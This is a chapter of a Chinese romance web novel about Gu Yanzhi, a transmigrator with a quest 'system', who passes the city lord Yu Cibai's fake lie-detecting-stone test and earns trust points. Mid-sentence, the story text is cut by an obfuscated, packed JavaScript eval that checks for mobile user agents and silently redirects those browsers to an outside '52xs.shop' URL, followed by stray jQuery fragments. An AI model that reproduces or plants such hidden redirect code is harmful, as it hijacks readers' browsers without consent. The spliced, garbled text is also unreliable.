有了地图,顾宴之只需要朝着对应的方向寻找即可。
最终顾宴之来到了一处典雅华贵的院子门口,大门紧闭。
顾宴之先是敲了敲门 ,但没人搭理他,于是小心翼翼地推开门走了进去,院内空旷无人,他便又往里走了几步,走到书房门前,又轻轻叩了叩门。
“进。”
里面传来熟悉的冷淡声音。
顾宴之于是推开门走了进去。
郁辞白正在作画,以为是下属来禀告要事,见来人迟迟不语,不愉地抬眸睨了过去,结果看见了个不属于这里的人。
顾宴之一袭淡蓝色锦袍,气质温润高雅,面容俊美如玉,只是脸颊上不知为何蹭上些许煤灰和灰土。
郁辞白停顿片刻,“你怎么过来的?”
顾宴之找的过来,自然早就想好遮掩的理由,“宴之一路前来,挨个找寻。”
“本城主是问。”郁辞白搁下手中的毛笔,“你是怎么出偏院的?”
顾宴之眨了眨眼,“……”
“看来是西偏院守卫看守不善,”郁辞白的语气难辨喜怒,“全都领罚——”
顾宴之虽然是偷偷溜出来的,可没有连累其他人的打算,立即坦明道:“和他们无关,我是翻墙出来的。”
郁辞白的目光在顾宴之身上停留了片刻,似乎在审视这句话的真假,没察觉出异样,随后顿了顿,淡淡道:“找本城主何事?”
“宴之听闻城主近来胃口不好,特意煮了清淡的米粥前来。”顾宴之语气认真,带着些许关心的忧虑,“城主若不嫌弃,可以尝尝味道。”
郁辞白道:“你听谁说的?”
顾宴之实话实说:“偶然听小厮交谈所言。”
郁辞白睨了他一眼,道:“交由守卫送来即可,何必自己跑一趟。”
顾宴之心想要是交给守卫送来的你吃了,他又怎么会非要亲自来送。
但这话没法说出口,顾宴之只能低下眸子,眸中露出难以开口的纠结,缓缓道:“宴之担心城主,心中忧虑,寝食难安,只想见城主一面……”
顾宴之前世未曾谈过恋爱,他敢发誓,毕生所学的甜言蜜语都用在郁辞白身上了。
郁辞白一顿,眼底闪过意味不明的情绪,冰冷的指尖捏住顾宴之的下巴,手上用力,迫使对方抬起头来,“你知道,撒谎的人会有什么样的后果吗?”
郁辞白从未见过顾宴之这样的人,在知道对方是南灵城刺客之一时,本该直接将他抓起来处死。可不知为何他一而再再而三的放过了他……
那封信鸽身上的回信他同样看见,顾宴之自称失去记忆,但在他看来,对方不曾有半点失忆之兆。
他竟不知,顾宴之嘴里到底有几句是真话,几句是假话。
顾宴之尚不知自己的身份已然穿帮,只是依旧维持自己的设定,眸色纯粹,“我待城主之心日月可鉴,何曾有过谎话?”
郁辞白指尖用力掐住顾宴之的下巴,直视着他的眼睛,希望能在其中找到一丝贪欲和私心。
可是没有——
顾宴之对待郁辞白的确别无二心,只是一心想取得对方的信任,自然没有什么歹心。
郁辞白忽然松开了手。
“真巧,本城主刚得了一块测谎石。”郁辞白转身朝书房走去,淡然陈述道:“手握此石,若是撒谎,石头便会通身发红,顾公子可敢一试?”
“顾公子若是撒谎——”郁辞白的声音停顿一刻,多了些冷淡的狠戾,“七银正好缺了顿晚饭。当然,顾公子若是不愿,本城主也不强求。”
顾宴之一滞。
也就是说——撒谎就要被抓去喂狼吗?
顾宴之在心中和系统对话,心生怀疑,【这世上真的有测谎石吗?】
人的内心复杂且善变,真的有一块石头就能测出他内心所想么?
系统茫然:【母鸡啊。】
郁辞白虽然说他不愿就不会强求,但是不测不就等于心虚,默认自己不敢?
进也不是退也不是。
顾宴之在心中短暂地纠结了一瞬,最后拱手,一字一句道:“宴之愿意一试。”
顾宴之不信这世上有测人内心的东西,万一这只是郁辞白的试探,他不敢岂不才是暴露。
郁辞白身形一停,似乎没料到对方真的会答应,转头不着痕迹地看了顾宴之一眼,“跟本城主进来。”
书房乃是城主府重地,四周陈列着高大的书架,书架上摆满了各种古籍卷轴。一进门,外界的喧扰仿佛被隔绝开来,窗边放着一张软榻,阳光洒落进来落在榻上,增添几分柔和的意味。
正中间摆放着一张桌案,案上笔墨纸砚,还有一幅未曾写完的字。
郁辞白抬手从旁边的木架上取下一个木质匣子,修长的指尖轻轻拨动,打开了木匣,其中放着一块拳头大小的石头,呈晶莹的玉白色,底下铺着一层柔软的帕子。
郁辞白单手递出木匣,微微扬了扬下颌,“顾公子,请。”
顾宴之伸手从匣中取出石头,石头温度冰凉,他微不可察地停顿,最后慢慢开口,“宴之仰慕城主,绝无二心。”
冰凉的石头慢慢被他的体温浸热——
呈现出淡淡的红色。
【“手握此石,若是撒谎,石头便会通身发红。”】
“…………”
顾宴之已经开始骂祖宗了。
郁辞白喉间溢出一丝轻笑,转身坐在椅子上,支起下颌,好整以暇地问道:“顾公子可有话要说?”
顾宴之沉默片刻,“城主,这是假物。”
郁辞白表情闪过一丝趣味,“石头可不会说谎,顾公子如何断定它是假物?”
顾宴之心中留有一计,方才为了以防万一,嘴中所说和心中所想是不一样的事情,嘴上说的是虽然是倾慕城主,心中想的却是另一件事实。
这石头却依然变红,难不成石头能听懂人言,不测人心中所想,测的是说话内容?
这证实这石头根本没有测谎的功能。
顾宴之在心中松了口气,走上前去,靠近了郁辞白几分,眼中藏着干净的纯粹,低声保证道:“宴之倾慕城主,自知确凿无疑。如果石头认为宴之在说谎,那必然是这死物有误。”
甜言蜜语说多了,顾宴之越来越习惯了,已经到了不眨眼的地步。
郁辞白陡然笑了声,像是水面投入一颗石子,“顾公子当真是有趣之人。”
他从顾宴之手中取走石头,拿在手中玩弄几下,“此物称为暖石,会因温度升高而变色。顾公子说得对,世上哪有什么测谎石。”
“……”顾宴之再次对郁辞白的阴晴不定有了新的认知。
郁辞白生性多疑,对他的试探从未停止过,好在他过了这一关。
顾宴之询问:“城主可相信宴之了?”
郁辞白启唇,话语听不出真假:“自然相信。”
郁辞白又问道:“你是南灵城人?”
顾宴之在心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320337|152433||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中想了想,他是南灵城使者,自然应该是南灵城之人,点了点头,“是。”
郁辞白继而问道:“南灵城分东西二域,你住何处?”
顾宴之哪知道这个,在心中问系统,【你给我的身份住在哪儿?】
系统连忙查资料,【背景上没有这样细化,宿主您随便说一个吧,到时候我再帮您完善身份设定。】
顾宴之于是道:“东域。”
郁辞白起身走到书架前,拿起一本古籍翻看,似乎琢磨了片刻,淡淡道:“本城主记错了,南灵城似乎分南北两域。”
顾宴之:“……”
顾宴之也不知道郁辞白怀疑他什么,处处都是试探,一句话都不能说错。
他简直不敢想象最后让他渣了郁辞白会有什么结果?不过好在,完成任务就可以离开世界。
“宴之早就说过。”顾宴之低声道:“在来途路上头部受伤,因而忘记了很多东西。”
顾宴之的这副皮囊用的是前世他自己的,生得好看,说话时眼里干净纯粹,浅色的眸子里尽是认真和温柔,很少有人能对这份情感不为所动。
顾宴之见郁辞白没有说话,拱手告辞,“那宴之今天先不打扰城主了。”
再多待一秒,他的底裤都要被试探出来了。
从书房离开,顾宴之终于慢慢松了口气,跟系统道:“系统,你也没说郁辞白这人这么难对付,不行,得加积分。”
系统:【对不起亲爱的宿主,没有这样的先例。】
毕竟它只绑定过一任宿主这样子。
顾宴之颇不在意,“没有先例就让它有,你多给些积分,我不就更有动力去完成任务了。”
系统在讨价还价这一方面怎么比得过人类,闻言差不多被说服了,只是仍旧迟疑,【可是我做不了主。】
顾宴之话里话外隐隐套话,“你还有上级?”
【是呀。】系统老实巴交地回答,【我只是监督者大人底下的小系统之一,如果要宿主您想要加积分的话,我得先去请示监督者大人。】
顾宴之,“那就去。郁辞白这么难攻略,我还因为任务受了伤,这可是工伤,值得加分。”
系统犹豫片刻,最终还是为了宿主同意了,【好!】
系统正要暂时离开去给监督者大人写报告,此时却突然收到提示——
【恭喜宿主,支线任务已完成,获得10积分。】
与此同时,顾宴之也听到了这一通报,不免有些疑惑,“嗯?任务完成了?”
系统看着到账的积分,【是的宿主。】
昨天该到账的时候不到账,现在顾宴之都暂时放弃了,积分反而到账了。
只有一种可能——
郁辞白尝了粥。
顾宴之颇为意外,他离开时并没有带走食盒,没想到郁辞白居然会尝他做的粥。
积分的到账让顾宴之的心情好了不少。
【而且宿主,显示信任度也增加了一点。】系统惊喜道。
这算是意外之喜了,分明刚才顾宴之并没有完美通过郁辞白的考验,但对方的信任度却增加了。
原来攻略郁辞白要走这条路,顾宴之慢慢明白任务的走向应该怎么办了。
顾宴之问道:“一点是多少?”
系统报告:【从0上升到1%了。】
“……”
……他好歹也救过郁辞白一命,为什么对方对他的初始信任度是0?
匪夷所思。